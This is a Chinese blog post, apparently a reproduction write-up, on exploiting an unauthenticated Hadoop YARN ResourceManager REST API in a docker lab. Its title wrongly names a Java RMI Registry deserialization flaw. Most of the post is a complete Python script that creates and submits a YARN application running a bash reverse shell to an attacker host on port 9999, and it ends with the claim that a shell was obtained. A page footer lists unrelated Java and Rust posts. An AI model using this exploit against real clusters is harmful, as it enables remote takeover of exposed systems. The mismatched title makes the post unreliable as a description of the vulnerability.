新后端漏洞(上)- Java RMI Registry反序列化漏洞

漏洞介绍:

参考 http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf
漏洞环境:

docker 环境

docker-compose up -d

环境启动后,访问http://127.0.0.1:8088即可看到Hadoop YARN ResourceManager WebUI页面。

1、漏洞复现:

通过任务执行,利用过程如下:

1、在本地监听等待反弹 shell 连接

2、调用 New Application API 创建 Application

3、调用 Submit Application API 提交

python 复制代码
#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = '192.168.108.131' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

成功获取shell

相关推荐
2301_7965125215 分钟前
Rust编程学习 - 为什么说Cow 代表的是Copy-On-Write, 即“写时复制技术”,它是一种高效的 资源管理手段
java·学习·rust
编啊编程啊程18 分钟前
【029】智能停车计费系统
java·数据库·spring boot·spring·spring cloud·kafka
hashiqimiya21 分钟前
springboot后端的接口headers
java·spring boot·后端
懒羊羊不懒@25 分钟前
JavaSe—集合框架、Collection集合
java·开发语言
霸道流氓气质30 分钟前
Java中Stream使用示例-对实体List分组且保留原数据顺序并对分组后的每组内的数据进行部分业务逻辑修改操作
java·list
java1234_小锋1 小时前
Spring事件监听的核心机制是什么?
java·spring·面试
星释2 小时前
Rust 练习册 16:Trait 作为返回类型
java·网络·rust
2301_796512522 小时前
Rust编程学习 - 如何理解Rust 语言提供了所有权、默认move 语义、借用、生命周期、内部可变性
java·学习·rust
乐悠小码2 小时前
Java设计模式精讲---03建造者模式
java·设计模式·建造者模式